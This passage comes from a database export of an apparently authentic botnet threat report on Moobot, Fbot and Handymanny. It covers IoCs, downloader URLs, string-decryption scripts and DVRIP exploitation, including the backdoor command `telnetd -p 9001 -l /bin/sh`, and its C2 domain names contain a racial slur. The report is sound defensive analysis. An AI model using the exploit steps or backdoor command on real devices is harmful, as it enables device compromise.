TXT 91.92.66.192\n> CC:dbkjbueuvmf5hh7z.onion:10444\n> CC协议在mirai的基础上有微小修改\n> \n> ### moobot.go\n> First seen: 2019-08-16 09:41:19\n> MD5: c15fe4dc2f063b135d2bb83c35d75289\n> Downloader: `http://91.92[.66.192/bins/x86`\n> CC: 31.13.195.56 port=18337\n> moobot golang版本\n> \n> ### moobot.go.tor \n> First seen: 2019-08-20 07:38:05\n> MD5: 168d0af614dc8513579d8436c930db76\n> Downloader: `http://89.248[.174.219/moo/x86`\n> CC: sisuugde7gzpef2d.onion:14995\n> moobot golang版本，CC使用tor域名\n> \n> ### moobot.c\n> First seen: 2019-08-21 02:23:48\n> MD5: 527572a2a28807766569c0870558e807\n> Downloader: `http://185.244[.25.219/bins/armv7l`\n> CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 31.13.195.56 \n> moobot无代理版本，CC IP和moobot.go相同，使用`185.244.25.219/24`网段ip作为downloader\n> \n\n## moobot端口扫描及漏洞利用\n### 端口扫描\n\n当前moobot延用mirai扫描机制，Bot全网扫描，将扫描结果上报给Loader，再由Loader植入样本。从我们的[ScanMon](https://scan.netlab.360.com/#/dashboard?tsbeg=1568815200000&tsend=1569315600000&dstport=1588&toplistname=similardstport&topn=10&sortby=sum)结果看最近7天其感染IP 60K左右。值得一提的是，当前moobot扫描很多端口，包括DVRIP/ADB/HTTP/TELNET相关的端口，但单个Bot样本并不同时扫描所有端口，而是由多个不同的Bot样本共同完成这些端口扫描。这也许是为了提高Bot扫描效率？当前moobot主要扫描以下端口：\n- DVRIP/34567\n- HTTP/80, 81, 82, 83, 84, 85, 88, 1588, 5984, 8000, 8080, 8081, 8181, 8888, 9090, 9200, 60001[[1\\]](https://twitter.com/MasafumiNegishi/status/1175988802805846016)。对于HTTP服务，Bot查找如下图所示的HTTP Server，然后上报给Loader用来后续植入样本。\n<a href=\"__GHOST_URL__/content/images/2019/09/moo_banner.png\"><img src=\"__GHOST_URL__/content/images/2019/09/moo_banner.png\" class=\"kg-image\"/></a>\n- ADB/5555\n- TELNET/23\n\n扫描源地理位置分布：\n```\n 7913 Brazil\n 5749 China\n 5305 Viet Nam\n 4514 Thailand\n 4510 Uruguay\n 3685 Italy\n 3070 Russian Federation\n 2440 Argentina\n 2410 Turkey\n 2073 Malaysia\n 2068 Republic of Korea\n 1783 India\n 1594 Germany\n 1554 United States\n 1433 Iran\n 1132 Mexico\n 1062 Spain\n 967 United Kingdom\n 946 Morocco\n 937 Greece\n 798 Indonesia\n 782 Venezuela\n 774 Pakistan\n 758 Romania\n 632 Japan\n 577 Chile\n 497 Poland\n 477 Qatar\n 472 South Africa\n 456 Israel\n 455 Dominican\n 417 Ukraine\n 415 Colombia\n 407 Egypt\n 376 Hungary\n 370 Tunisia\n 322 France\n 295 Kazakhstan\n 279 Saudi Arabia\n 273 Australia\n 271 Singapore\n 244 Bulgaria\n 232 United Arab Emirates\n 185 Canada\n 136 Jordan\n 120 Oman\n 114 Serbia\n 112 Portugal\n 101 Puerto Rico\n```\n\n### 漏洞利用\nmoobot对于HTTP，ADB，TELNET的利用都是已知的，这里不在獒述。下面主要说明其对DVRIP(port 34567)协议的漏洞利用。我们发现最早利用这个漏洞的是[Fbot](__GHOST_URL__/the-new-developments-of-the-fbot-en/)，但当时没有详细说明该漏洞是如何利用的，下面对这部分作简要说明。moobot主要利用DVRIP升级接口上传升级文件，执行升级文件中的shell命令完成后门开启，然后通过该后门后门植入恶意样本，过程大致如下：\n- 构造名为InstallDesc的DVRIP升级配置压缩文件。主要内容如下，可以看出该配置主要为了执行`telnetd -p 9001 -l /bin/sh`开启后门，此处后门端口为TCP/9001：\n<a href=\"__GHOST_URL__/content/images/2019/09/moo_telnet.png\"><img src=\"__GHOST_URL__/content/images/2019/09/moo_telnet.png\" class=\"kg-image\"/></a>\n\n- 利用DVRIP默认密码登录目标设备\n\n\n- 通过DVRIP升级接口上传升级文件InstallDesc到目标设备\n\n\n- DVRIP服务执行升级过程，执行升级配置文件中的shell命令，开启后门\n\n- Loader通过该后门植入Bot样本\n\n\n\n## moobot相关的攻击事件\n我们观察到moobot攻击了很多流行站点/重要服务。包括DNS ROOT，Twitter, Facebook, Pornhub, [Wikimedia](https://wikimediafoundation.org/news/2019/09/07/malicious-attack-on-wikipedia-what-we-know-and-what-were-doing/), [Twitch, World of Warcraft Server](https://twitter.com/MasafumiNegishi/status/1170881367871082497), Google，Baidu， Alibaba，Krebs on Security等。攻击这么多流行站点的目的据一名为[UKDrillas](https://www.genelmag.com/article/ddos-attack-on-twitch-and-wow-servers)的黑客或客户组织称是为了测试该Botnet的攻击效果。部分moobot攻击目标对应的SLD如下图所示:\n<a href=\"__GHOST_URL__/content/images/2019/09/atk.sld.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2019/09/atk.sld.min-1.png\" /></a>\n\n## moobot加密方式\nmoobot资源加密使用和[fbot](__GHOST_URL__/the-new-developments-of-the-fbot-en/)相似的加密方式。加密方式为码表替换，字串反序，无XOR，解密代码如下(相关样本`0f8c6a64bac73e83eef94b3ec333c93a`)：\n```\ntab1_enc = '''\nAA AB AC AD AE AF BA BB BC BD BE BF CA CB CC CD CE \nCF DA DB DC DE DF EA EB EC ED EF FA FB FC FD FE FF \nA1 A2 A3 A4 A5 A6 A7 A8 A9 B1 B2 B3 B4 B5 B6 B7 B8 \nB9 C1 C2 C3 C4 C5 C6 C7 C8 C9 D1 D2 D3 D4 D5 D6 D7 \nD8 D9 E1 E2 E3 E4 E5 E6 E7 E8 E9 F1 F2 F3 F4 F5 F6\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\ntab2_enc = '''\n7A 37 75 4E 42 63 33 20 61 32 4C 54 23 76 4A 48 38 \n49 25 62 46 77 6B 68 2F 22 73 3B 55 24 65 53 3A 44 \n5A 43 6A 45 6D 59 78 57 70 74 7C 6F 3E 26 66 64 2D \n35 47 39 71 52 4D 40 7E 34 51 30 79 58 6C 67 41 4B \n50 36 69 31 56 72 4F 5C 29 5D 2E 28 5B 6E 7B 7D 2C\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\ndef decode(indata):\n res = ''\n for i in indata:\n res += chr(ord(i)^0x00)\n return res\ntab1 = decode(tab1_enc)\ntab2 = decode(tab2_enc)\ndef getK(c):\n for i in range(0, len(tab1)):\n if c == tab1[i]:\n return i\n return -1\n\ndef decrypt(pointer):\n res = \"\"\n for v12 in pointer:\n res += tab2[getK(v12)]\n return res\n```\n解密示例\n```\nslogan='''\nB3 B3 A5 BB ED D2 BC ED BB DE B3 AF BB FC EA BF\n'''.replace(' ', '').replace('\\n','').decode('hex')\nc2_addr='''\nA5 B3 AF E9 E4 FC D5 D5 E2 F3 E9 D2 B1 E4 BC A9 \nB7 E1 BC D4 B3 B3 AF FC EA B1 B1 BC D2 BC B7 E4 \nFC D5 D5 E1 F3 D4 BC AF E1 A9 D2 B1\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\nprint (decrypt(slogan)[::-1])\n#The cow says moo\nprint (decrypt(c2_addr)[::-1])\n#typicalniggerdayatthecoolaidparty.n1gger.com\n\n```\n\n# fbot\nfbot和moobot.go.tor使用相同的Downloader`89.248.174.219`，相似的加密技术，CC域名都使用TXT记录等特点。我们认为fbot和moobot是有关系的。属于同一个组织或者不同组织共享相关的代码。相关样本：\n> First seen: 2019-08-15 06:35:15\n> MD5: beab327053b17556e80338efdf0b2e19\n> Downloader: `http://89.248[.174.219:80/bins/x86`\n> CC: ohyaya.raiseyourdongers.pw TXT 5.206.227.65\n> \n\n## fbot加密方式\nfbot资源加密方式为码表替换，XOR加密，解密代码如下：\n```\ntab1_enc = '''\n14 15 0A 1D 1F 08 0E 00 01 17 1A 03 0B 09 16 \n12 1E 10 0C 0D 18 1B 0F 11 1C 13 2D 3F 28 36 \n34 38 3C 3A 31 35 20 37 2C 3D 2E 2F 33 2B 21 \n30 3E 32 23 2A 3B 29 6E 61 60 69 6B 6C 6D 68 6F 6A 64 19 07 7D\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\ntab2_enc = '''\n18 1B 1A 1D 1C 1F 1E 11 10 13 12 15 14 17 16 \n09 08 0B 0A 0D 0C 0F 0E 01 00 03 38 3B 3A 3D \n3C 3F 3E 31 30 33 32 35 34 37 36 29 28 2B 2A \n2D 2C 2F 2E 21 20 23 69 68 6B 6A 6D 6C 6F 6E 61 60 77 76 79 74\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\ndef decode(indata):\n res = ''\n for i in indata:\n res += chr(ord(i)^0x59)\n return res\ntab1 = decode(tab1_enc)\ntab2 = decode(tab2_enc)\ndef getK(c):\n for i in range(0, len(tab1)):\n if c == tab1[i]:\n return i\n return -1\n\ndef decrypt(pointer):\n res = \"\"\n for v12 in pointer:\n res += tab2[getK(v12)]\n return res\n\n```\n解密示例\n```\nc2=\"wcbtbt=rthxmbwgrowdemrx=vz\"\nprint decrypt(c2)\n#ohyaya.raiseyourdongers.pw\n```\n\n如果想了解更多fbot的信息可翻阅我们以前的相关文章。[[1\\]](__GHOST_URL__/the-new-developments-of-the-fbot-en/)[[2\\]](__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/)\n# handymanny\n[handymanny](https://twitter.com/liuya0904/status/1171633662502350848)和brickbot、Silex等Botnet类似，主要是破坏目标设备系统，让目标设备无法正常工作。样本由Loader通过telnet植入，Loader IP`185.244.25.200`，这说明handymanny和185.244.25.200/24网段也是有关的。相关样本：\n> First seen: 2019-09-08 20:03:11\n> MD5: 1fcfcb14304c586f12dc410546a3a5b7\n> Downloader: `http://185.112[.82.89:80/bins/arm.handymanny`\n> Loader IP: 185.244.25.200\n> CC: 185.112.82.89:123\n\n其破坏目标系统相关操作如下图所示：\n\n\n# 部分IoC\n### moobot\n```\nmd5:\n40507d0675bee829311f1f67622dded9\n70f1df04d4384422ba746a92940c0138\neebca17df98350fa127fef978a5cccde\n79351b97ad07f77d336e38afcb213868\nc15fe4dc2f063b135d2bb83c35d75289\n168d0af614dc8513579d8436c930db76\n527572a2a28807766569c0870558e807\n0f8c6a64bac73e83eef94b3ec333c93a\n\nCC:\n31.13.195.56\naudi.n1gger.com\nbotnetisharam.com\ndbkjbueuvmf5hh7z.onion\nn1gger.com\nnd3rwzslqhxibkl7.onion\nsisuugde7gzpef2d.onion\ntypicalniggerdayatthecoolaidparty.n1gger.com\n\nURL:\nhttp://89.248[.174.198/main/x86\nhttp://93.174[.93.191:80/accn/kuojin.x86\nhttp://185.100[.84.187:80/t/t.arm7\nhttp://91.92[.66.192/rt/mips\nhttp://91.92[.66.192/bins/x86\nhttp://89.248[.174.219/moo/x86\nhttp://185.244[.25.219/bins/armv7l\n```\n\n### fbot\n```\nmd5:\nbeab327053b17556e80338efdf0b2e19\n\nCC:\nohyaya.raiseyourdongers.pw\n\nURL:\nhttp://89.248[.174.219:80/bins/x86\n```\n\n### handymanny\n```\nmd5:\n1fcfcb14304c586f12dc410546a3a5b7\n453ac5c036c000827e291a5a58500f47\n48032f646f6d14f946ab389a6b13000c\n60f3cf7c5c0152d99cde53df7fb4e349\n6a084828f8e33b3d6257667b938c5ae9\n6e37aac9706d8f98172ff533ce6d660c\n7309c3bb936c36bb53f065300f901cd4\n7b7c455340a216e1e83b361080104980\n7e472aae22796128f4c314e68a294d30\n8c8bb10919266e6bd437de76e42e97dd\na17465a1232e2b3e18bb7a0a1cf4333d\na1f7f4fa878ab96f649f885a8769bb2b\na460e1ce45003d63d5f864eae38622ba\na8d02b5451c020f16f7a2b80a5491bb2\nc4c608be28017a633d37607dae4975ab\nceb810beae3be334e2e598c94f264c09\nd1d9b19cd6f287801d7063f7cddd0d50\nddf54946d4ab87fd12d61b758cd0f0a1\ne4d954a693a2191afd360bd9e201182a\ne8070d7e00c4b86dd2f929712d670c17\n\nCC:\n185.112.82.89\n\nLoader IP:\n185.244.25.200\n\nURL:\nhttp://185.112[.82.89:80/bins/arm.handymanny\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d88b0ef7646030007b2548a |
post | null | 2019-09-26T02:57:26.000Z | 63873b9a8b1c1e0007f52f58 | the-botnet-cluster-on-185-244-25-0-24-en | 0 | 2019-09-27T13:59:59.000Z | public | published | null | 2019-09-27T14:00:00.000Z | The Botnet Cluster on the 185.244.25.0/24 | <!--kg-card-begin: markdown--><p>In the past few years, we have seen quite a few botnets on the 185.244.25.0/24 netblock, how many? Readers can take a look at the following tag cloud, which represents the keywords used in some of the samples using IPs within this netblock as loader IPs.<br>
<a href="__GHOST_URL__/content/images/2019/09/g185.branch.png" target="_blank"><img src="__GHOST_URL__/content/images/2019/09/g185.branch.min.png" /></a></p>
<p>And the table below shows some of our attack statistics about this netblock in last 365 days.</p>
<table>
<thead>
<tr>
<th>Count of CC (host:port)</th>
<th>Count of attack target host</th>
<th>Count of downloader IP</th>
<th>Count of loader IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>416</td>
<td>36933</td>
<td>166</td>
<td>181</td>
</tr>
</tbody>
</table>
<p>In this blog, we will talk about a few interesting ones, including moobot, fbot, handymanny</p>
<h1 id="moobot">Moobot</h1>
<p>Moobot is a new botnet family based on mirai. In recently it has made quite many releases, according to their C2 protocols and programming languages, we can roughly divide them into moobot.socks5, moobot.tor, moobot.tor.b, moobot.go, moobot.go.tor, moobot.c, etc.</p>
<p>Not every moobot variant uses this 185 netblock, but we do notice the moobot.c sample uses 185.244.25.219 as the Downloader.</p>
<p>Here is a quick breakdown of the different Moobot variants.</p>
<blockquote>
<h3 id="moobotsocks5">Moobot.socks5</h3>
<p>First seen: 2019-07-15 10:10:47<br>
MD5: 70f1df04d4384422ba746a92940c0138<br>
Downloader: <code>http://89.248[.174.198/main/x86</code><br>
Downloader: <code>http://93.174[.93.191:80/accn/kuojin.x86</code><br>
CC: n1gger.com:23<br>
Connect CC via socks5 proxy. Targeting for port TCP/34567(DVRIP) and TCP/9527.</p>
<h3 id="moobottor">Moobot.tor</h3>
<p>First seen: 2019-07-17 07:41:00<br>
MD5: eebca17df98350fa127fef978a5cccde<br>
Downloader: <code>http://185.100[.84.187:80/t/t.arm7</code><br>
Reporter: audi.n1gger.com:49567<br>
CC: nd3rwzslqhxibkl7.onion:1356<br>
Connect CC via tor proxy. Targeting for port TCP/34567(DVRIP) and TCP/9527.</p>
<h3 id="moobottorb">Moobot.tor.b</h3>
<p>First seen: 2019-08-09 02:25:24<br>
MD5: 79351b97ad07f77d336e38afcb213868<br>
Downloader: <code>http://91.92[.66.192/rt/mips</code><br>
CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 91.92.66.192<br>
CC: dbkjbueuvmf5hh7z.onion:10444<br>
CC protocol modified on mirai CC protocol.</p>
<h3 id="moobotgo">Moobot.go</h3>
<p>First seen: 2019-08-16 09:41:19<br>
MD5: c15fe4dc2f063b135d2bb83c35d75289<br>
Downloader: <code>http://91.92[.66.192/bins/x86</code><br>
CC: 31.13.195.56 port=18337<br>
Moobot golang version.</p>
<h3 id="moobotgotor">Moobot.go.tor</h3>
<p>First seen: 2019-08-20 07:38:05<br>
MD5: 168d0af614dc8513579d8436c930db76<br>
Downloader: <code>http://89.248[.174.219/moo/x86</code><br>
CC: sisuugde7gzpef2d.onion:14995<br>
Moobot golang version.Connect CC via tor proxy.</p>
<h3 id="moobotc">Moobot.c</h3>
<p>First seen: 2019-08-21 02:23:48<br>
MD5: 527572a2a28807766569c0870558e807<br>
Downloader: <code>http://185.244[.25.219/bins/armv7l</code><br>
CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 31.13.195.56<br>
Moobot no proxy version. CC IP same as moobot.go CC ip，Downloader ip on <code>185.244.25.219/24</code> netblock.</p>
</blockquote>
<h2 id="moobotportscanningandexploit">Moobot port scanning and exploit</h2>
<h3 id="portscan">Port scan</h3>
<p>At present, the moobot uses the mirai scanning mechanism to scan the entire internet, the scan result is reported to the Loader, and then the loader implants sample to the victims.Based on our <a href="https://scan.netlab.360.com/#/dashboard?tsbeg=1568815200000&tsend=1569315600000&dstport=1588&toplistname=similardstport&topn=10&sortby=sum">ScanMon</a>, there are roughly 60K infected IPs in the last 7 days.</p>
<p>It is worth mentioning that the current moobot scans many ports, including DVRIP/ADB/HTTP/TELNET related ports, but a single Bot sample does not scan all ports at the same time, instead, multiple bots perform scan together and then piece the results together. We don’t exactly know the reason behind this behavior. The most recent moobot mainly scans the following ports:</p>
<ul>
<li>DVRIP/34567</li>
<li>HTTP/80, 81, 82, 83, 84, 85, 88, 1588, 5984, 8000, 8080, 8081, 8181, 8888, 9090, 9200, 60001[<a href="https://twitter.com/MasafumiNegishi/status/1175988802805846016">1]</a>。For the HTTP service, the Bot looks up the HTTP server shown in the following figure and then reports it to the Loader for subsequent implantation of the sample.<br>
<a href="__GHOST_URL__/content/images/2019/09/moo_banner.png"><img src="__GHOST_URL__/content/images/2019/09/moo_banner.png" class="kg-image"/></a></li>
<li>ADB/5555</li>
<li>TELNET/23</li>
</ul>
<p>Scanning source geographical distribution:</p>
<pre><code> 7913 Brazil
5749 China
5305 Viet Nam
4514 Thailand
4510 Uruguay
3685 Italy
3070 Russian Federation
2440 Argentina
2410 Turkey
2073 Malaysia
2068 Republic of Korea
1783 India
1594 Germany
1554 United States
1433 Iran
1132 Mexico
1062 Spain
967 United Kingdom
946 Morocco
937 Greece
798 Indonesia
782 Venezuela
774 Pakistan
758 Romania
632 Japan
577 Chile
497 Poland
477 Qatar
472 South Africa
456 Israel
455 Dominican
417 Ukraine
415 Colombia
407 Egypt
376 Hungary
370 Tunisia
322 France
295 Kazakhstan
279 Saudi Arabia
273 Australia
271 Singapore
244 Bulgaria
232 United Arab Emirates
185 Canada
136 Jordan
120 Oman
114 Serbia
112 Portugal
101 Puerto Rico
</code></pre>
<h3 id="exploit">Exploit</h3>
<p>There is nothing new about HTTP, ADB, and TELNET being exploited by Moobot so there is no need to cover them here. But DVRIP( port 34567) is different. Early We discovered and published that <a href="__GHOST_URL__/the-new-developments-of-the-fbot-en/">Fbot</a> was the first to exploit this vulnerability, but we did not elaborate on how the vulnerability was exploited at the time. Basically the moobot uses the DVRIP upgrade interface to upload an upgrade file, executes the shell command in the upgrade file to set the stage for the backdoor, and then implants malicious samples through the backdoor. The process is as follows:</p>
<ul>
<li>
<p>Construct a DVRIP upgrade configuration compressed file called InstallDesc. The main content is as follows. It can be seen that the configuration is mainly for the <code>telnetd -p 9001 -l /bin/sh</code> opening of the backdoor, where the backdoor port is TCP/9001:<br>
<a href="__GHOST_URL__/content/images/2019/09/moo_telnet.png"><img src="__GHOST_URL__/content/images/2019/09/moo_telnet.png" class="kg-image"/></a></p>
</li>
<li>
<p>Login to the target device using the DVRIP default password.<br>
<img src="__GHOST_URL__/content/images/2019/09/moobot.dvrip.png" alt="moobot.dvrip" loading="lazy"></p>
</li>
<li>
<p>Upload the upgrade file InstallDesc to the target device through the DVRIP upgrade interface.<br>
<img src="__GHOST_URL__/content/images/2019/09/dvrip.upgrade.png" alt="dvrip.upgrade" loading="lazy"></p>
</li>
<li>
<p>The DVRIP service performs the upgrade process, executes the shell command in the upgrade configuration file, and opens the backdoor.</p>
</li>
<li>
<p>Loader implants a Bot sample through the backdoor</p>
</li>
</ul>
<h2 id="moobotrelatedattackevents">Moobot related attack events</h2>
<p>We observed that the moobot attacked many popular sites/critical services. Including DNS root servers, Twitter, Facebook, Pornhub, <a href="https://wikimediafoundation.org/news/2019/09/07/malicious-attack-on-wikipedia-what-we-know-and-what-were-doing/">Wikimedia</a>, <a href="https://twitter.com/MasafumiNegishi/status/1170881367871082497">Twitch, World of Warcraft classic server</a>, Google, Baidu, Alibaba, Krebs on Security, etc. The SLDs corresponding to some moobot targets are shown below:<br>
<a href="__GHOST_URL__/content/images/2019/09/atk.sld.png" target="_blank"><img src="__GHOST_URL__/content/images/2019/09/atk.sld.min-1.png" /></a></p>
<h2 id="moobotencryption">Moobot encryption</h2>
<p>Moobot uses an encryption method similar to <a href="__GHOST_URL__/the-new-developments-of-the-fbot-en/">fbot</a> code table replacement, string reverse order, no XOR, and the decryption code is as follows (related samples <code>0f8c6a64bac73e83eef94b3ec333c93a</code>):</p>
<pre><code>tab1_enc = '''
AA AB AC AD AE AF BA BB BC BD BE BF CA CB CC CD CE
CF DA DB DC DE DF EA EB EC ED EF FA FB FC FD FE FF
A1 A2 A3 A4 A5 A6 A7 A8 A9 B1 B2 B3 B4 B5 B6 B7 B8
B9 C1 C2 C3 C4 C5 C6 C7 C8 C9 D1 D2 D3 D4 D5 D6 D7
D8 D9 E1 E2 E3 E4 E5 E6 E7 E8 E9 F1 F2 F3 F4 F5 F6
'''.replace(' ', '').replace('\n','').decode('hex')
tab2_enc = '''
7A 37 75 4E 42 63 33 20 61 32 4C 54 23 76 4A 48 38
49 25 62 46 77 6B 68 2F 22 73 3B 55 24 65 53 3A 44
5A 43 6A 45 6D 59 78 57 70 74 7C 6F 3E 26 66 64 2D
35 47 39 71 52 4D 40 7E 34 51 30 79 58 6C 67 41 4B
50 36 69 31 56 72 4F 5C 29 5D 2E 28 5B 6E 7B 7D 2C
'''.replace(' ', '').replace('\n','').decode('hex')
def decode(indata):
res = ''
for i in indata:
res += chr(ord(i)^0x00)
return res
tab1 = decode(tab1_enc)
tab2 = decode(tab2_enc)
def getK(c):
for i in range(0, len(tab1)):
if c == tab1[i]:
return i
return -1
def decrypt(pointer):
res = ""
for v12 in pointer:
res += tab2[getK(v12)]
return res
</code></pre>
<p>Decryption example:</p>
<pre><code>slogan='''
B3 B3 A5 BB ED D2 BC ED BB DE B3 AF BB FC EA BF
'''.replace(' ', '').replace('\n','').decode('hex')
c2_addr='''
A5 B3 AF E9 E4 FC D5 D5 E2 F3 E9 D2 B1 E4 BC A9
B7 E1 BC D4 B3 B3 AF FC EA B1 B1 BC D2 BC B7 E4
FC D5 D5 E1 F3 D4 BC AF E1 A9 D2 B1
'''.replace(' ', '').replace('\n','').decode('hex')
print (decrypt(slogan)[::-1])
#The cow says moo
print (decrypt(c2_addr)[::-1])
#typicalniggerdayatthecoolaidparty.n1gger.com
</code></pre>
<h1 id="fbot">Fbot</h1>
<p>Fbot and moobot.go.tor use the same Downloader 89.248.174.219, similar encryption method, and both use DNS TXT for C2 domain names. We think it is highly likely fbot and moobot are related organizations. Related fbot samples:</p>
<blockquote>
<p>First seen: 2019-08-15 06:35:15<br>
MD5: beab327053b17556e80338efdf0b2e19<br>
Downloader: <code>http://89.248[.174.219:80/bins/x86</code><br>
CC: ohyaya.raiseyourdongers.pw TXT 5.206.227.65</p>
</blockquote>
<h2 id="fbotencryption">Fbot encryption</h2>
<p>The fbot’s encryption method is code table replacement, XOR encryption, and the decryption code is as follows:</p>
<pre><code>tab1_enc = '''
14 15 0A 1D 1F 08 0E 00 01 17 1A 03 0B 09 16
12 1E 10 0C 0D 18 1B 0F 11 1C 13 2D 3F 28 36
34 38 3C 3A 31 35 20 37 2C 3D 2E 2F 33 2B 21
30 3E 32 23 2A 3B 29 6E 61 60 69 6B 6C 6D 68 6F 6A 64 19 07 7D
'''.replace(' ', '').replace('\n','').decode('hex')
tab2_enc = '''
18 1B 1A 1D 1C 1F 1E 11 10 13 12 15 14 17 16
09 08 0B 0A 0D 0C 0F 0E 01 00 03 38 3B 3A 3D
3C 3F 3E 31 30 33 32 35 34 37 36 29 28 2B 2A
2D 2C 2F 2E 21 20 23 69 68 6B 6A 6D 6C 6F 6E 61 60 77 76 79 74
'''.replace(' ', '').replace('\n','').decode('hex')
def decode(indata):
res = ''
for i in indata:
res += chr(ord(i)^0x59)
return res
tab1 = decode(tab1_enc)
tab2 = decode(tab2_enc)
def getK(c):
for i in range(0, len(tab1)):
if c == tab1[i]:
return i
return -1
def decrypt(pointer):
res = ""
for v12 in pointer:
res += tab2[getK(v12)]
return res
</code></pre>
<p>Decryption example:</p>
<pre><code>c2="wcbtbt=rthxmbwgrowdemrx=vz"
print decrypt(c2)
#ohyaya.raiseyourdongers.pw
</code></pre>
<p>If you want to know more about fbot, you can read our previous blogs.[<a href="__GHOST_URL__/the-new-developments-of-the-fbot-en/">1]</a>[<a href="__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/">2]</a></p>
<h1 id="handymanny">Handymanny</h1>
<p><a href="https://twitter.com/liuya0904/status/1171633662502350848">Handymanny</a> is another botnet we discovered, which is imilar to other botnets such as brickbot and Silex. It destroys the target device system and prevents the target device from working properly.</p>
<p>The bot sample is implanted by the Loader via telnet, and the Loader IP is 185.244.25.200, which means that the handymanny and 185.244.25.200/24 segments are also related.</p>
<p>Related sample:</p>
<blockquote>
<p>First seen: 2019-09-08 20:03:11<br>
MD5: 1fcfcb14304c586f12dc410546a3a5b7<br>
Downloader: <code>http://185.112[.82.89:80/bins/arm.handymanny</code><br>
Loader IP: 185.244.25.200<br>
CC: 185.112.82.89:123</p>
</blockquote>
<p>The function related to destroying the target system is shown in the following figure:<br>
<img src="__GHOST_URL__/content/images/2019/09/EEJ6l6AXkAECNgY.min.png" alt="EEJ6l6AXkAECNgY.min" loading="lazy"></p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h1 id="ioc">IoC</h1>
<h3 id="moobot">Moobot</h3>
<pre><code>MD5:
40507d0675bee829311f1f67622dded9
70f1df04d4384422ba746a92940c0138
eebca17df98350fa127fef978a5cccde
79351b97ad07f77d336e38afcb213868
c15fe4dc2f063b135d2bb83c35d75289
168d0af614dc8513579d8436c930db76
527572a2a28807766569c0870558e807
0f8c6a64bac73e83eef94b3ec333c93a
CC:
31.13.195.56
audi.n1gger.com
botnetisharam.com
dbkjbueuvmf5hh7z.onion
n1gger.com
nd3rwzslqhxibkl7.onion
sisuugde7gzpef2d.onion
typicalniggerdayatthecoolaidparty.n1gger.com
URL:
http://89.248[.174.198/main/x86
http://93.174[.93.191:80/accn/kuojin.x86
http://185.100[.84.187:80/t/t.arm7
http://91.92[.66.192/rt/mips
http://91.92[.66.192/bins/x86
http://89.248[.174.219/moo/x86
http://185.244[.25.219/bins/armv7l
</code></pre>
<h3 id="fbot">Fbot</h3>
<pre><code>MD5:
beab327053b17556e80338efdf0b2e19
CC:
ohyaya.raiseyourdongers.pw
URL:
http://89.248[.174.219:80/bins/x86
</code></pre>
<h3 id="handymanny">Handymanny</h3>
<pre><code>MD5:
1fcfcb14304c586f12dc410546a3a5b7
453ac5c036c000827e291a5a58500f47
48032f646f6d14f946ab389a6b13000c
60f3cf7c5c0152d99cde53df7fb4e349
6a084828f8e33b3d6257667b938c5ae9
6e37aac9706d8f98172ff533ce6d660c
7309c3bb936c36bb53f065300f901cd4
7b7c455340a216e1e83b361080104980
7e472aae22796128f4c314e68a294d30
8c8bb10919266e6bd437de76e42e97dd
a17465a1232e2b3e18bb7a0a1cf4333d
a1f7f4fa878ab96f649f885a8769bb2b
a460e1ce45003d63d5f864eae38622ba
a8d02b5451c020f16f7a2b80a5491bb2
c4c608be28017a633d37607dae4975ab
ceb810beae3be334e2e598c94f264c09
d1d9b19cd6f287801d7063f7cddd0d50
ddf54946d4ab87fd12d61b758cd0f0a1
e4d954a693a2191afd360bd9e201182a
e8070d7e00c4b86dd2f929712d670c17
CC:
185.112.82.89
Loader IP:
185.244.25.200
URL:
http://185.112[.82.89:80/bins/arm.handymanny
</code></pre>
<!--kg-card-end: markdown--> | In the past few years, we have seen quite a few botnets on the 185.244.25.0/24 netblock, how many? Readers can take a look at the following tag cloud, which represents the keywords used in some of the samples using IPs within this netblock as loader IPs.
And the table below shows some of our attack statistics about this netblock in last 365 days.
Count of CC (host:port)
Count of attack target host
Count of downloader IP
Count of loader IP
416
36933
166
181
In this blog, we will talk about a few interesting ones, including moobot, fbot, handymanny
Moobot
Moobot is a new botnet family based on mirai. In recently it has made quite many releases, according to their C2 protocols and programming languages, we can roughly divide them into moobot.socks5, moobot.tor, moobot.tor.b, moobot.go, moobot.go.tor, moobot.c, etc.
Not every moobot variant uses this 185 netblock, but we do notice the moobot.c sample uses 185.244.25.219 as the Downloader.
Here is a quick breakdown of the different Moobot variants.
Moobot.socks5
First seen: 2019-07-15 10:10:47
MD5: 70f1df04d4384422ba746a92940c0138
Downloader: http://89.248[.174.198/main/x86
Downloader: http://93.174[.93.191:80/accn/kuojin.x86
CC: n1gger.com:23
Connect CC via socks5 proxy. Targeting for port TCP/34567(DVRIP) and TCP/9527.
Moobot.tor
First seen: 2019-07-17 07:41:00
MD5: eebca17df98350fa127fef978a5cccde
Downloader: http://185.100[.84.187:80/t/t.arm7
Reporter: audi.n1gger.com:49567
CC: nd3rwzslqhxibkl7.onion:1356
Connect CC via tor proxy. Targeting for port TCP/34567(DVRIP) and TCP/9527.
Moobot.tor.b
First seen: 2019-08-09 02:25:24
MD5: 79351b97ad07f77d336e38afcb213868
Downloader: http://91.92[.66.192/rt/mips
CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 91.92.66.192
CC: dbkjbueuvmf5hh7z.onion:10444
CC protocol modified on mirai CC protocol.
Moobot.go
First seen: 2019-08-16 09:41:19
MD5: c15fe4dc2f063b135d2bb83c35d75289
Downloader: http://91.92[.66.192/bins/x86
CC: 31.13.195.56 port=18337
Moobot golang version.
Moobot.go.tor
First seen: 2019-08-20 07:38:05
MD5: 168d0af614dc8513579d8436c930db76
Downloader: http://89.248[.174.219/moo/x86
CC: sisuugde7gzpef2d.onion:14995
Moobot golang version.Connect CC via tor proxy.
Moobot.c
First seen: 2019-08-21 02:23:48
